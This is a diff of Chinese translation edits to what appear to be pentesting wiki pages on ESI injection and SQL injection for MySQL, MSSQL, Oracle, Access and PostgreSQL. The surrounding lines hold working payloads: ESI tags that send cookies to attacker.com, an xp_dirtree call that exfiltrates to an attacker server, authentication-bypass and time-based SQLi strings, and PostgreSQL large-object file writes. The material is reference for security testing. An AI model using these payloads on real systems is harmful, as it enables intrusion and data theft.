@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
- 通过在响应中反射来使用 XSS 偷取 HTTP_ONLY cookie:
|
||||
- 通过在响应中反射来窃取 HTTP_ONLY cookie 的 XSS:
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
@ -160,7 +160,7 @@ Use <!--esi--> to bypass WAFs:
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
</esi:include>
|
||||
```
|
||||
- 添加响应头(用于绕过带有XSS的“Content-Type: text/json”的响应)
|
||||
- 添加头部以绕过响应中的 "Content-Type: text/json" 的 XSS
|
||||
```bash
|
||||
<!--esi/$add_header('Content-Type','text/html')/-->
|
||||
|
||||
@ -183,7 +183,7 @@ Host: anotherhost.com"/>
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的,只需将参数 **`dca`** 的值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE):
|
||||
在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的,只需将参数 **`dca`** 值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE):
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
@ -199,7 +199,7 @@ XSLT 文件:
|
||||
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
### 参考文献
|
||||
### 参考
|
||||
|
||||
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
||||
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
|
||||
## 入口点检测
|
||||
|
||||
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而显得**易受 SQL 注入 (SQLi)**攻击时,**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**从当前上下文中逃逸**的方法。以下是一些有用的示例:
|
||||
当一个网站由于对 SQLi 相关输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时,**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -71,7 +71,7 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
|
||||
### 使用时间确认
|
||||
|
||||
在某些情况下,您**不会注意到任何变化**在您正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,并对页面加载所需的**时间产生影响**。\
|
||||
在某些情况下,您**不会注意到任何变化**在您正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,这将对页面加载所需的**时间**产生影响。\
|
||||
因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -210,15 +210,15 @@ _在每个不同的数据库中发现这些数据的方法各不相同,但方
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## 利用错误盲注
|
||||
## 利用错误盲SQLi
|
||||
|
||||
这是**与之前相同的情况**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误:
|
||||
这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## 利用基于时间的 SQLi
|
||||
|
||||
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们之前已经看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
|
||||
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们已经在之前看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -226,7 +226,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
|
||||
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管后续查询会被执行,但**结果**不会**返回给应用程序**。因此,这种技术主要用于与**盲漏洞**相关的情况,在这种情况下,您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
|
||||
|
||||
**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持它们:`QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** 不支持 **堆叠查询**。**MySQL、Microsoft** 和 **PostgreSQL** 支持它们:`QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
@ -252,7 +252,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/)
|
||||
|
||||
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于 MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**
|
||||
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于:MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**
|
||||
|
||||
|
||||
## 认证绕过
|
||||
@ -267,7 +267,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希时会生成意外的SQL命令部分,从而导致未经授权的访问。
|
||||
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希后会生成意外的SQL命令部分,从而导致未经授权的访问。
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -278,14 +278,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**推荐列表**:
|
||||
|
||||
您应该将列表中的每一行用作用户名,密码始终为:_**Pass1234.**_\
|
||||
您应该将列表中的每一行用作用户名,密码始终为: _**Pass1234.**_\
|
||||
&#xNAN;_(这些有效载荷也包含在本节开头提到的大列表中)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK 认证绕过
|
||||
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建:0xA80x5c0x27 (_╘'_)
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,它将被创建: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -308,25 +308,25 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### 修改现有对象/用户的密码
|
||||
|
||||
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**)并修改某些内容:
|
||||
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**),修改某些内容:
|
||||
|
||||
- 创建名为:**AdMIn**(大小写字母)
|
||||
- 创建名为:**admin=**
|
||||
- **SQL 截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**
|
||||
- **SQL截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**
|
||||
|
||||
#### SQL 截断攻击
|
||||
#### SQL截断攻击
|
||||
|
||||
如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户**admin**,请尝试创建一个名为:“_admin \[30个空格] a_”的用户名和任意密码。
|
||||
如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户**admin**,请尝试创建一个名为:“_admin \[30个空格] a_”的用户名和任何密码。
|
||||
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**最大允许字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
|
||||
|
||||
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_注意:在最新的 MySQL 安装中,此攻击将不再按上述方式有效。虽然比较仍然默认忽略尾随空格,但尝试插入一个超过字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_注意:在最新的MySQL安装中,此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格,但尝试插入一个超过字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL 插入基于时间的检查
|
||||
### MySQL插入基于时间的检查
|
||||
|
||||
添加尽可能多的 `','',''` 以退出 VALUES 语句。如果执行了延迟,则您有 SQL 注入。
|
||||
添加尽可能多的`','',''`以退出VALUES语句。如果执行了延迟,则您有SQL注入。
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
|
||||
@ -72,7 +72,7 @@ _Feel free to check this in the online playground._
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_随时可以在在线演示中检查。_
|
||||
_随时可以在在线演示中检查此内容。_
|
||||
|
||||
- Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
@ -87,7 +87,7 @@ _随时可以在在线演示中检查。_
|
||||
```sql
|
||||
-1' GROUP BY column_name%00
|
||||
```
|
||||
或者你可以使用以下方法对**不同表**的列名进行暴力破解:
|
||||
或者你可以使用以下方法暴力破解**不同表**的列名:
|
||||
```sql
|
||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||
|
||||
@ -126,7 +126,7 @@ and MSysObjects.name not like '~*'
|
||||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
然而,请注意,在您**无法访问读取表 `MSysObjects`** 的情况下,发现 SQL 注入是非常典型的。
|
||||
然而,请注意,发现 SQL 注入的情况是非常典型的,**您无法访问读取表 `MSysObjects`**。
|
||||
|
||||
## 文件系统访问
|
||||
|
||||
|
||||
@ -8,8 +8,8 @@
|
||||
|
||||
- **`SELECT DEFAULT_DOMAIN()`**: 获取当前域名。
|
||||
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: 如果你知道域的名称(在这个例子中是 _DOMAIN_),这个函数将返回**管理员用户的 SID**,以十六进制格式显示。它看起来像 `0x01050000000[...]0000f401`,注意**最后 4 个字节**是**500**的**大端**格式,这是**管理员用户的常见 ID**。\
|
||||
这个函数将允许你**知道域的 ID**(除了最后 4 个字节的所有字节)。
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 这个函数将返回**所指示 ID 的用户名**(如果有的话),在这种情况下**0000e803**的大端 == **1000**(通常这是创建的第一个常规用户 ID 的 ID)。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解,可能会获取域中所有用户的用户名。例如使用以下函数:
|
||||
这个函数将允许你**知道域的 ID**(除了最后 4 个字节以外的所有字节)。
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 这个函数将返回**所指示 ID 的用户名**(如果有的话),在这种情况下**0000e803**的大端 == **1000**(通常这是创建的第一个常规用户 ID 的 ID)。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解,可能会获取域中所有用户的用户名。例如,使用以下函数:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||||
```
|
||||
## **替代基于错误的向量**
|
||||
|
||||
基于错误的 SQL 注入通常类似于 `+AND+1=@@version--` 这样的构造,以及基于 «OR» 操作符的变体。包含此类表达式的查询通常会被 WAF 阻止。作为绕过方法,使用 %2b 字符连接一个字符串与触发数据类型转换错误的特定函数调用的结果。
|
||||
基于错误的 SQL 注入通常类似于 `+AND+1=@@version--` 这样的结构,以及基于 «OR» 操作符的变体。包含此类表达式的查询通常会被 WAF 阻止。作为绕过方法,使用 %2b 字符连接一个字符串与触发数据类型转换错误的特定函数调用的结果。
|
||||
|
||||
一些此类函数的示例:
|
||||
|
||||
@ -95,7 +95,7 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
||||
```
|
||||
值得注意的是,这种方法可能并不适用于所有系统配置,例如在默认设置下运行的 `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` 和 `Windows Server 2016 Datacenter`。
|
||||
|
||||
此外,还有其他存储过程,如 `master..xp_fileexist` 和 `xp_subdirs`,可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息,请参见这篇 [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
|
||||
此外,还有其他存储过程,如 `master..xp_fileexist` 和 `xp_subdirs`,可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息,请参阅这篇 [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
|
||||
|
||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||
|
||||
@ -105,9 +105,9 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
||||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||||
{{#endref}}
|
||||
|
||||
### MSSQL 用户自定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
创建 CLR UDF(公共语言运行时用户自定义函数),即用任何 .NET 语言编写并编译成 DLL 的代码,以便在 MSSQL 中加载以执行自定义函数,是一个需要 `dbo` 访问权限的过程。这意味着通常只有在以 `sa` 或管理员角色进行数据库连接时才可行。
|
||||
创建 CLR UDF(公共语言运行时用户定义函数),即用任何 .NET 语言编写并编译为 DLL 的代码,以便在 MSSQL 中加载以执行自定义函数,是一个需要 `dbo` 访问权限的过程。这意味着通常只有在以 `sa` 或管理员角色进行数据库连接时才可行。
|
||||
|
||||
在 [这个 Github repository](https://github.com/infiniteloopltd/SQLHttp) 中提供了 Visual Studio 项目和安装说明,以便将二进制文件作为 CLR 程序集加载到 MSSQL 中,从而实现从 MSSQL 内部执行 HTTP GET 请求。
|
||||
|
||||
@ -141,7 +141,7 @@ SELECT dbo.http(@url);
|
||||
|
||||
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。
|
||||
|
||||
提取表的完整内容的简洁方法涉及使用 `FOR JSON` 子句。与需要特定模式如“raw”的 `FOR XML` 子句相比,这种方法更简洁。由于其简洁性,`FOR JSON` 子句更受欢迎。
|
||||
提取表的完整内容的简洁方法涉及使用 `FOR JSON` 子句。与需要特定模式如“原始”的 `FOR XML` 子句相比,这种方法更简洁。由于其简洁性,`FOR JSON` 子句更受欢迎。
|
||||
|
||||
以下是如何从当前数据库检索模式、表和列:
|
||||
````sql
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
```
|
||||
## 有趣的函数
|
||||
|
||||
### 确认 Mysql:
|
||||
### 确认 Mysql:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -105,7 +105,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
### 通过预处理语句执行查询
|
||||
|
||||
当允许堆叠查询时,可以通过将要执行的查询的十六进制表示分配给变量(使用SET),然后使用PREPARE和EXECUTE MySQL语句最终执行查询,从而绕过WAF。类似于这样:
|
||||
当允许堆叠查询时,可以通过将要执行的查询的十六进制表示分配给一个变量(使用SET),然后使用PREPARE和EXECUTE MySQL语句最终执行查询,从而绕过WAF。类似于这样:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
@ -115,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
请记住,在 **MySQL** 的“现代”版本中,您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**
|
||||
|
||||
### MySQL 注入没有逗号
|
||||
### MySQL 注入无逗号
|
||||
|
||||
选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
@ -138,7 +138,7 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
|
||||
### MySQL 历史
|
||||
|
||||
您可以通过读取表 **sys.x$statement_analysis** 查看其他执行情况。
|
||||
您可以通过读取表格 **sys.x$statement_analysis** 查看其他执行情况。
|
||||
|
||||
### 版本替代**s**
|
||||
```
|
||||
|
||||
@ -12,13 +12,13 @@
|
||||
|
||||
假设 `secure_file_priv` 被禁用 (`""`),并且授予了必要的文件和 `file_priv` 权限,则可以读取指定目录外的文件。然而,这些函数进行网络调用的能力高度依赖于操作系统。在 Windows 系统上,由于操作系统对 UNC 命名约定的理解,可以进行对 UNC 路径的网络调用,这可能导致 NTLMv2 哈希的外泄。
|
||||
|
||||
此 SSRF 方法仅限于 TCP 端口 445,并且不允许修改端口号,尽管可以用于访问具有完全读取权限的共享,并且如先前研究所示,可以窃取哈希以进行进一步利用。
|
||||
此 SSRF 方法仅限于 TCP 端口 445,并且不允许修改端口号,尽管可以用来访问具有完全读取权限的共享,并且如先前研究所示,可以窃取哈希以进行进一步利用。
|
||||
|
||||
### 通过用户定义函数 (UDF) 进行远程代码执行 (RCE)
|
||||
|
||||
MySQL 数据库提供了从外部库文件使用用户定义函数 (UDF) 的功能。如果这些库在特定目录或系统的 `$PATH` 中可访问,则可以从 MySQL 内部调用它们。
|
||||
MySQL 数据库提供了从外部库文件使用用户定义函数 (UDF) 的功能。如果这些库在特定目录或系统的 `$PATH` 中可访问,则可以从 MySQL 中调用它们。
|
||||
|
||||
该技术允许通过 UDF 执行网络/HTTP 请求,前提是满足几个条件,包括对 `@@plugin_dir` 的写入访问、`file_priv` 设置为 `Y`,以及禁用 `secure_file_priv`。
|
||||
该技术允许通过 UDF 执行网络/HTTP 请求,前提是满足几个条件,包括对 `@@plugin_dir` 的写访问、`file_priv` 设置为 `Y`,以及禁用 `secure_file_priv`。
|
||||
|
||||
例如,可以加载 `lib_mysqludf_sys` 库或其他支持 HTTP 请求的 UDF 库以执行 SSRF。这些库必须传输到服务器,可以通过对库内容进行十六进制或 base64 编码,然后写入适当的目录来实现。
|
||||
|
||||
|
||||
@ -84,7 +84,7 @@ END;
|
||||
|
||||
`UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,此包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
|
||||
|
||||
示例 [在 Oracle 文档网站上显示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
|
||||
示例 [在 Oracle 文档网站上展示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
|
||||
```
|
||||
set serveroutput on size 30000;
|
||||
SET SERVEROUTPUT ON
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
---
|
||||
|
||||
**本页面旨在解释不同的技巧,这些技巧可以帮助您利用在 PostgreSQL 数据库中发现的 SQL 注入,并补充您可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **找到的技巧。**
|
||||
**本页面旨在解释不同的技巧,帮助您利用在 PostgreSQL 数据库中发现的 SQL 注入,并补充您可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**
|
||||
|
||||
## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与外泄
|
||||
|
||||
**PostgreSQL 模块 `dblink`** 提供了连接到其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能相结合,使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法,请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
|
||||
**PostgreSQL 模块 `dblink`** 提供了连接到其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能结合,使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法,请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
|
||||
|
||||
### **使用 dblink 和大对象的外泄示例**
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
|
||||
## PostgreSQL 攻击:读/写、RCE、权限提升
|
||||
|
||||
请查看如何从 PostgreSQL 破坏主机并提升权限:
|
||||
查看如何从 PostgreSQL 破坏主机并提升权限:
|
||||
|
||||
{{#ref}}
|
||||
../../../network-services-pentesting/pentesting-postgresql.md
|
||||
@ -31,7 +31,7 @@
|
||||
|
||||
### 堆叠查询
|
||||
|
||||
请记住,PostgreSQL 支持堆叠查询,但如果在期望仅返回 1 个响应时返回 2 个响应,许多应用程序将抛出错误。但是,您仍然可以通过时间注入滥用堆叠查询:
|
||||
请记住,PostgreSQL 支持堆叠查询,但如果在期望仅返回 1 个响应时返回 2 个响应,多个应用程序将抛出错误。但是,您仍然可以通过时间注入滥用堆叠查询:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
@ -50,9 +50,9 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Hex中的字符串
|
||||
### 字符串以十六进制表示
|
||||
|
||||
如果您可以运行**查询**并将其**放在字符串中**(例如使用**`query_to_xml`**函数)。**您可以使用convert_from将字符串作为十六进制传递,从而以这种方式绕过过滤器:**
|
||||
如果您可以运行 **查询** 并将其 **放在字符串中**(例如使用 **`query_to_xml`** 函数)。 **您可以使用 convert_from 将字符串作为十六进制传递,从而绕过过滤器:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@ PostgreSQL 提供了一种称为 **大对象** 的结构,通过 `pg_largeobjec
|
||||
|
||||
要在此表中 **存储完整文件**,必须在 `pg_largeobject` 表中创建一个对象(通过 LOID 识别),然后将每个 2KB 大小的数据块插入到该对象中。这些块的大小必须严格为 2KB(最后一个块可能有例外),以确保导出功能正常运行。
|
||||
|
||||
要 **将二进制数据** 划分为 2KB 块,可以执行以下命令:
|
||||
要 **将二进制数据分割** 成 2KB 块,可以执行以下命令:
|
||||
```bash
|
||||
split -b 2048 your_file # Creates 2KB sized files
|
||||
```
|
||||
@ -28,7 +28,7 @@ select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||
```
|
||||
在需要精确控制的情况下,例如利用盲 SQL 注入,`lo_create` 更适合用于指定固定的 LOID。
|
||||
在需要精确控制的情况下,例如利用盲注,`lo_create` 更适合用于指定固定的 LOID。
|
||||
|
||||
数据块可以如下插入:
|
||||
```sql
|
||||
@ -53,13 +53,13 @@ select lo_import('/path/to/file', 173454);
|
||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
||||
```
|
||||
为了完成这个过程,数据被导出并且大对象被删除:
|
||||
要完成该过程,数据被导出并且大对象被删除:
|
||||
```sql
|
||||
select lo_export(173454, '/path/to/your_file');
|
||||
select lo_unlink(173454); -- Deletes the specified large object
|
||||
```
|
||||
### 限制
|
||||
|
||||
需要注意的是,**大对象可能具有 ACLs**(访问控制列表),可能会限制对即使是由您的用户创建的对象的访问。然而,具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。
|
||||
需要注意的是,**大对象可能具有 ACLs**(访问控制列表),这可能会限制对即使是由您的用户创建的对象的访问。然而,具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@ CREATE EXTENSION dblink;
|
||||
|
||||
### 权限提升
|
||||
|
||||
文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接**,而无需知道密码。该文件通常位于 `/etc/postgresql/12/main/pg_hba.conf`,不当配置的样子如下:
|
||||
文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接** 而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到,错误的配置如下:
|
||||
```
|
||||
local all all trust
|
||||
```
|
||||
@ -21,12 +21,12 @@ _请注意,这种配置通常用于在管理员忘记数据库用户密码时
|
||||
|
||||
这种情况是**有用的,如果**您**已经**在受害者的**shell**中,因为它将允许您连接到 postgresql 数据库。
|
||||
|
||||
另一个可能的错误配置类似于这样:
|
||||
另一个可能的错误配置类似于:
|
||||
```
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
因为这将允许来自本地主机的每个人以任何用户身份连接到数据库。\
|
||||
在这种情况下,如果 **`dblink`** 函数 **正常工作**,您可以通过通过已建立的连接连接到数据库来 **提升权限**,并访问不应该能够访问的数据:
|
||||
因为它将允许来自本地主机的每个人以任何用户身份连接到数据库。\
|
||||
